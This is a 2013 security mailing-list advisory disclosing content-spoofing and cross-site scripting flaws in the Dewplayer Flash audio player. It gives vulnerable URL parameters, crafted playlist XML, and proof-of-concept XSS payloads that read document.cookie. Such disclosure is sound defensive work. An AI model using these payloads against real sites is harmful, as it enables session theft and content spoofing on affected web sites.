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Vulnerabilities in Dewplayer
From: "MustLive" <mustlive () websecurity com ua>
Date: Mon, 23 Dec 2013 16:40:46 +0200
Hello list! I want to inform you about vulnerabilities in Dewplayer.These are Content Spoofing and Cross-Site Scripting vulnerabilities. There are near 422 000 web sites with dewplayer.swf in Google's index. And it's just one file name and there are other file names of this player (such as dewplayer-en.swf and others).
------------------------- Affected products: ------------------------- Vulnerable are Dewplayer 2.2.2 and previous versions. ------------------------- Affected vendors: ------------------------- Alsacreations http://www.alsacreations.fr ---------- Details: ---------- Content Spoofing (Content Injection) (WASC-12): http://site/dewplayer.swf?mp3=1.mp3 http://site/dewplayer.swf?file=1.mp3 http://site/dewplayer.swf?sound=1.mp3 http://site/dewplayer.swf?son=1.mp3This is for old versions of the player. In versions Dewplayer 2.x there is only mp3 from these 4 variants.
Content Spoofing (Content Injection) (WASC-12): http://site/dewplayer.swf?xml=1.xml 1.xml <playlist version="1"> <trackList> <track> <location>http://site/1.mp3</location> <creator/> <album/> <title>Music</title> <annotation/> <duration/> <image/> <info/> <link/> </track> </trackList> </playlist> 2.xml (with image) <playlist version="1"> <trackList> <track> <location>http://site/1.mp3</location> <creator/> <album/> <title>Music</title> <annotation/> <duration/> <image>http://site/1.jpg</image> <info/> <link/> </track> </trackList> </playlist> XSS (WASC-08): Only vinyl version of Dewplayer are vulnerable to Cross-Site Scripting. http://site/dewplayer-vinyl.swf?xml=xss.xml http://site/dewplayer-vinyl-en.swf?xml=xss.xml xss.xml <playlist version="1"> <trackList> <track> <location>javascript:alert(document.cookie)</location> <title>XSS</title> </track> </trackList> </playlist> http://site/dewplayer-vinyl.swf?xml=xss2.xml http://site/dewplayer-vinyl-en.swf?xml=xss2.xml xss2.xml <playlist version="1"> <trackList> <track> <location>1.mp3</location> <title>XSS</title> <link>javascript:alert(document.cookie)</link> </track> </trackList> </playlist> ------------ Timeline:------------
2013.10.25 - announced at my site. 2013.10.26 - informed developers. 2013.12.19 - disclosed at my site (http://websecurity.com.ua/6831/). Best wishes & regards, MustLive Administrator of Websecurity web sitehttp://websecurity.com.ua
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